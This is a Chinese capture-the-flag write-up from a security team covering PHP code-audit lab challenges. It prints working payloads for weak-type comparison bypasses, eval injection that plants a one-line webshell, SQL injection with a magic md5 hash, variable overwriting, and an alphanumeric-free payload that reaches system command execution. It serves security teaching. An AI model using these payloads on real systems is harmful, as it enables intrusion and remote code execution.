32

【代码审计】PHP代码审计之CTF系列(1)

 4 years ago
source link: http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg%3D%3D&%3Bmid=2247485699&%3Bidx=2&%3Bsn=19f251f2713beb143e543fb198feebd3
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

7bYrqae.jpg!web

声明: Tide安全团队原创文章,转载请声明出处! 文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

采用github yaofeifly师傅的PHP练习,链接:https://github.com/yaofeifly/PHP_Code_Challenge。每个内容均采用docker。部署过程:进入对应的docker_env,使用

docker-compose build

docker-compose up -d

进入对应docker进程,查看地址访问即可。

challenge 1

访问地址,发现源码

1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=

<?php


error_reporting(0);

require __DIR__.'/lib.php';


echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';


highlight_file(__FILE__);

题目给出字符串:

1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=

页面给定相关的加密代码,进行反解。

编写解密函数方法:

<?php

$str = "1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=";


echo hex2bin(strrev(bin2hex(base64_decode($str))));

?>

即可得到 2MvQBbB.jpg!web

补充:

bin2hex() 函数把 ASCII 字符的字符串转换为十六进制值。


strrev() 函数反转字符串。


hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

challenge 2

题目内容:

<?php

error_reporting(0);

require __DIR__.'/lib.php';

if(isset($_GET['time'])){

if(!is_numeric($_GET['time'])){

echo 'The time must be number.';

}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){

echo 'This time is too short.';

}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){

echo 'This time is too long.';

}else{

sleep((int)$_GET['time']);

echo $flag;

}

echo '<hr>';

}

highlight_file(__FILE__);

可以看出,如果想要得到flag,需要大于5184000并且小于7776000,但是发现得到flag之前会执行输入时间的sleep,怕不是要等到猴年马月了。

所以思路选择弱比较。

<?php

echo 6e6;

echo "\n";

echo (int)'6e6';

?>

得出结果: ZN7j6fi.jpg!web

补充:

1、当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含’.',’e',’E'并且其数值值在整形的范围之内,该字符串被当作int来取值。其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

2、在进行比较运算时,如果遇到了0e这类字符串,PHP会将它解析为科学计数法。(也就是说只靠最前面的进行判断)

3、在进行比较运算时,如果遇到了0x这类字符串,PHP会将它解析为十六进制。

challenge 3

题目内容:

jMrENn7.jpg!web

访问后发现没有什么内容,查看一下源码。

RnaaYrj.jpg!web

发现存在challenge3.txt文件,尝试访问。

发现源码

<?php

error_reporting(0);

echo "<!--challenge3.txt-->";

require __DIR__.'/lib.php';

if(!$_GET['id'])

{

header('Location: challenge3.php?id=1');

exit();

}

$id=$_GET['id'];

$a=$_GET['a'];

$b=$_GET['b'];

if(stripos($a,'.'))

{

echo 'Hahahahahaha';

return ;

}

$data = @file_get_contents($a,'r');

if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)

{

echo $flag;

}

else

{

print "work harder!harder!harder!";

}

?>


stripos()

stripos()函数:查找字符串在另一字符串中第一次出现的位置(不区分大小写)

strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)

strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)

stripos()函数返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。字符串位置从 0 开始,不是从 1 开始。

file_get_contents()

file_get_contents()函数:把整个文件读入一个字符串中,加上@是屏蔽对应的错误

PHP中fopen,file_get_contents,curl函数的区别:

1、fopen/file_get_contents 每次请求都会重新做DNS查询,并不对 DNS信息进行缓存。但是CURL会自动对DNS信息进行缓存。对同一域名下的网页或者图片的请求只需要一次DNS查询。这大大减少了DNS查询的次数。所以CURL的性能比fopen /file_get_contents 好很多。

2、fopen /file_get_contents 在请求HTTP时,使用的是http_fopen_wrapper,不会keeplive。而curl却可以。这样在多次请求多个链接时,curl效率会好一些。

3、fopen / file_get_contents 函数会受到php.ini文件中allow_url_open选项配置的影响。如果该配置关闭了,则该函数也就失效了。而curl不受该配置的影响。

4、curl 可以模拟多种请求,例如:POST数据,表单提交等,用户可以按照自己的需求来定制请求。而fopen / file_get_contents只能使用get方式获取数据。

eregi()

eregi()函数:在一个字符串中搜索指定的模式的字符串,搜索不区分大小写。eregi()可以特别有用的检查有效字符串,如密码。

题目

观察完代码后发现为php弱类型绕过。

首先a,进行POST传递。

当data可以通过php://input来接受post数据。

$id传一个字符进去,会被转化为0。

对于b的第一个字符与'111'拼接,和'1114'进行对比)和首字符不为4。

可以设置$b为%00111111,这样,substr()会发生截断,在匹配时进行eregi('111','1114')满足,同时%00不会对strlen()造成影响。

构造payload:

?id=a&a=php://input&b=%00111111

1112 is a nice lab!

nYRvmay.jpg!web

challenge4

打开后发现源码

<?php

error_reporting(0);

show_source(__FILE__);


$a = @$_REQUEST['hello'];

eval("var_dump($a);");

发现可构造php一句话木马

构造paypoad:

?hello=);eval($_POST['A']);%2f%2f

当var_dump($a);后的结果为:

string(22) ");eval($_POST['A']);//"

与前面代码进行拼凑后为:

eval("string(21) ");eval($_POST['A']);//"");

使用菜刀连接 7NZzeiY.jpg!web

iENzyaV.jpg!web

challenge5

打开页面,点击View the source code,查看登陆逻辑源码内容

<?php

if (isset($_GET['name']) and isset($_GET['password'])) {

if ($_GET['name'] == $_GET['password'])

echo '<p>Your password can not be your name!</p>';

else if (sha1($_GET['name']) === sha1($_GET['password']))

die('Flag: '.$flag);

else

echo '<p>Invalid password.</p>';

}

else{

echo '<p>Login first!</p>';

?>

isset()

isset()函数:检测变量是否设置

题目

发现登陆逻辑要求,name和password不能相同,但之后的sha1判断又使用了===,所以不存在所类型比较的问题。

其中sha1不能处理数组,当传入name[]=1&password[]=2时,会造成sha1(Array)=sha1(Array),即NULL===NULL,从而获取flag。

测试:

<?php

$name = $_GET['name'];

var_dump(@sha1($name));

?>

zaUVZfE.jpg!web

结果为NULL

构造payload:

?name[]=1&password[]=2
V7ZNNfz.jpg!web

challenge6

访问地址
ZJbm2iB.jpg!web

查看源码,发现source.txt

<html>

<head>

welcome to simplexue

</head>

<body>

<form method=post action=challenge6.php>

<input type=text name=user value="Username">

<input type=password name=pass value="Password">

<input type=submit>

</form>

</body>

<a href="source.txt">

</html>

访问发现源码

<?php

if($_POST[user] && $_POST[pass]) {

$conn = mysql_connect("********", "*****", "********");

mysql_select_db("challenges") or die("Could not select database");

if ($conn->connect_error) {

die("Connection failed: " . mysql_error($conn));

}

$user = $_POST[user];

$pass = md5($_POST[pass]);

$sql = "select pwd from interest where uname='$user'";

$query = mysql_query($sql);

if (!$query) {

printf("Error: %s\n", mysql_error($conn));

exit();

}

$row = mysql_fetch_array($query, MYSQL_ASSOC);

//echo $row["pwd"];

if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {

echo "<p>Logged in! Key:************** </p>";

}

else {

echo("<p>Log in failure!</p>");

}

}

?>

mysql_fetch_array()

mysql_fetch_array():从结果集中取得一行作为数字数组或关联数组

strcasecmp()

strcasecmp():比较两个字符串(不区分大小写)

题目

发现查询用户处的sql语句没有进行过滤,存在sql注入

构造payload:

 user=' union select "0e830400451993494058024219903391"

构成的sql语句为:

 select pwd from interest where uname=' ' union select "0e830400451993494058024219903391"

第一个查询结果为空,返回值为0e830400451993494058024219903391

所以$row[pw]=0e830400451993494058024219903391

而md5(QNKCDZO)正是0e830400451993494058024219903391

最后payload:

 user=' union select "0e830400451993494058024219903391"#&pass=QNKCDZO

challenge 8

打开发现没有任何提示,扫描文件,发现challenge7.txt

发现源码

<?php

include "flag.php";

$_403 = "Access Denied";

$_200 = "Welcome Admin";

if ($_SERVER["REQUEST_METHOD"] != "POST")

die("BugsBunnyCTF is here :p...");

if ( !isset($_POST["flag"]) )

die($_403);

foreach ($_GET as $key => $value)

$$key = $$value;

foreach ($_POST as $key => $value)

$$key = $value;

if ( $_POST["flag"] !== $flag )

die($_403);

echo "This is your flag : ". $flag . "\n";

die($_200);

发现其中为变量覆盖漏洞。

$_SERVER["REQUEST_METHOD"]

$_SERVER["REQUEST_METHOD"]是指表单提交的方式为,GET或POST

foreach

foreach:循环结构,是遍历数组时常用的方法,foreach仅能够应用于数组和对象,如果尝试其他类型的变量或者末初始化的变量将发出错误信息。

两种语法:

//格式1

foreach (array_expression as $value){

statement

}

//格式2

foreach (array_expression as $key => $value){

statement

}

第一种格式遍历:

array_expression数组时,每次循环将数组的值赋给$value

第二种格式遍历:

不仅将数组赋给key

比如:

<?php

$array = [0, 1, 2];

foreach ($array as $val){

echo "值是:" . $val ;

echo "<br/>";

//var_dump(current($array));

}

foreach ($array as $key => $value) {

echo "键名是:" . $key . "值是:" . $value;

echo "<br/>";

}

?>

结果为:

值是:0

值是:1

值是:2

键名是:0值是:0

键名是:1值是:1

键名是:2值是:2

foreach在PHP5和PHP7中的区别:

在PHP 5中,当foreach开始循环执行时,每次数组内部的指针都会自动向后移动一个单元,但在PHP 7中则不是。

比如:

<?php

$array = [0, 1, 2];

foreach ($array as $val){

var_dump(current($array));

}

?>

在PHP 5中输出结果为:

int(0) int(1) int(2)

但在PHP 7中输出结果为:

int(0) int(0) int(0)

在PHP 7中,按照值进行循环时,foreach是对数组的复制操作,在循环过程中对数组的修改不会影响循环行为,但在PHP 5中会有影响。

比如:

<?php

$array = [0, 1, 2];

//$ref =& $array; // Necessary to trigger the old behavior

foreach ($array as $val) {

var_dump($val);

unset($array[1]);

}

?>

在PHP 7中输出结果为:

int(0) int(1) int(2)

在PHP 5中输出结果为:

int(0) int(2)

在PHP 7中按照引用循环的时候对数组的修改会影响循环,在PHP 5中则不会改变

比如:

<?php

$array = [0];

foreach ($array as &$val) {

var_dump($val);

$array[1] = 1;

$array[2] = 2;

}

?>

在PHP 7中运行结果:

int(0) int(1) int(2)

在PHP 5中运行结果:

int(0)

die()

die()函数:输出一条信息,并退出当前脚本。

该函数为exit()函数的别名。

语法:die(status)

如果status是字符串,则该函数会在退出输出字符串。

如果status是整数,这个值就会被用作退出状态。退出状态的值在0~254之间。退出状态255由PHP保留,不会被使用,状态0用于成功的终止程序。

注意:如果PHP的版本号大于4.2.0,那么在stasus是整数的情况下,不会输出该数字。

变量覆盖漏洞:

其中经常导致的有:$$,extract()函数,parse_str()函数,import_request_variables()使用不当,开启了全局变量注册等。

  • 全局变量覆盖:register_globals的意思是注册为全局变量,当其为On的时候,传递过的值会直接被全局变量所使用,而Off的时候,需要到特定的数组中得到。

  • parse_str()变量覆盖:parse_str()函数把查询字符串解析到变量中,如果没有array参数,则由该函数设置的变量将覆盖已有的同名变量。parse_str()类似的函数还有mb_parse_str(),用法基本一直。

  • import_request_variables变量覆盖:import_request_variables函数可以在register_global=off时,把GET/POST/Cookie变量导入全局作用域中。

题目分析

明白原理后,观察程序

要求在POST语句中有flag,同时在第二个foreach中又把$flag直接覆盖,所以可以确定,通过echo语句输出的flag是被修改过的。

观察其他部分。

1、发现die(_200的值覆盖为原flag的值。

构造payload:

?_200=flag

POST:

flag=1


NZ3aYzr.jpg!web

2、发现die(__403上,然后构造flag,从而die($403)输出结果。

构造payload:

?_403=flag&POST=1


POST:

flag=


EnUFjqA.jpg!web

challenge 8

打开之后,发现PHP逻辑源码

<?php

ini_set("display_errors", "On");

error_reporting(E_ALL | E_STRICT);

if(!isset($_GET['c'])){

show_source(__FILE__);

die();

}

function rand_string( $length ) {

$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

$size = strlen( $chars );

$str = '';

for( $i = 0; $i < $length; $i++)

{

$str .= $chars[ rand( 0, $size - 1 ) ];

}

return $str;

}

$data = $_GET['c'];

$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');

foreach ($black_list as $b) {

if (stripos($data, $b) !== false){

die("WAF!");

}

}

$filename=rand_string(0x20).'.php';

$folder='uploads/';

$full_filename = $folder.$filename;

if(file_put_contents($full_filename, '<?php '.$data)){

echo "<a href='".$full_filename."'>WebShell</a></br>";

echo "Enjoy your webshell~";

}else{

echo "Some thing wrong...";

}

?>

ini_set

PHP ini_set用来设置php.ini的值,在函数执行时生效,脚本结束后,设置失效。不需要打开php.ini文件就可以修改。

常见的设置:

@ini_set('memory_limit','64M'):设置一个脚本所能够申请到的最大内存字节数。@符号表示不输出错误


@ini_set('display_errors','1'):设置错误信息的类别


@ini_set('session.auto_start','0'):是否自动开session处理,设置为1时,程序不用session_start()来手动开启session也可使用session。设置为0时,如果没有手动开启session,就会报错


@ini_set('session.cache_expire',180):指定会话页面在客户端cache中的有限期(分钟)缺省值为180分钟,如果设置了session.cache_limiter=nocache时,此处设置无效。


@ini_set('session.use_cookies','1'):是否使用cookie在客户端保存会话ID。


@ini_set('session.use_trans_sid','0'):是否使用明码在URL中显示SID(会话ID),默认是禁止状态。

error_reporting()函数

error_reporting()函数规定报告哪个错误。该函数设置当前脚本的错误报告级别。该函数返回旧的错误报告级别。

规定不停的错误级别报告:

<?php

// 关闭错误报告

error_reporting(0);


// 报告 runtime 错误

error_reporting(E_ERROR | E_WARNING | E_PARSE);


// 报告所有错误

error_reporting(E_ALL);


// 等同 error_reporting(E_ALL);

ini_set("error_reporting", E_ALL);


// 报告 E_NOTICE 之外的所有错误

error_reporting(E_ALL & ~E_NOTICE);

?>

file_put_contents()函数

file_put_contents()函数把一个字符串写入文件中。该函数访问文件时,遵循一下规则:

1、如果设置了 FILE_USE_INCLUDE_PATH,那么将检查 *filename* 副本的内置路径

2、如果文件不存在,将创建一个文件

3、打开文件

4、如果设置了 LOCK_EX,那么将锁定文件

5、如果设置了 FILE_APPEND,那么将移至文件末尾。否则,将会清除文件的内容

6、向文件中写入数据

7、关闭文件并对所有文件解锁

如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。

题目

分析逻辑源码,发现总体代码可以分成两大部分。

第一部分对生成的文件进行命名处理,第二部分则是对内容的过滤,也就是WAF。

观察过滤内容,发现过滤了大部分字符、数字、字母。

所以这个地方应该使用PHP中异或的用法,查看了p师傅等几个师傅的文章。

简单来说就是通过对两个字符串转化为ASCII值,再将ASCII值转换成二进制,然后在进行异或,异或完将结果再次从二进制转化为ASCII值,最后转化成字符串

比如:

<?php

echo "A"^"?";

?>


运行结果:~

<?php

@$_++; // $_ = 1

$__=("#"^"|"); // $__ = _

$__.=("."^"~"); // _P

$__.=("/"^"`"); // _PO

$__.=("|"^"/"); // _POS

$__.=("{"^"/"); // _POST

${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);

?>

构造payload:

<?php

$_=[].[];

$__='';

$_=$_[''];

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$__.=$_; // E

$_=++$_;

$_=++$_;

$__=$_.$__; // GE

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$_=++$_;

$__.=$_; // GET

var_dump(${'_'.$__}[_](${'_'.$__}[__])); // $_GET['_']($_GET['__']);

定义两个空数组,取产生的字符串'ArrayArray',然后依次从A开始取,使参数$_进行自加,也就是'A'+'A'='B'。拼凑GET,最后使用同样方法构造。

最后对其进行url编码

完整payload:

?c=%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b

使用刚刚定义的参数_和__进行命令执行

?_=system&__=cat%20../flag.php
JbaQ3q2.jpg!web

qINZvmz.png!web

guān

zhù

men

Tide安全团队正式成立于2019年1月 是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

对安全感兴趣的小伙伴可以关注 关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:

QRzqqyB.png!web

maEBfqm.gif


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK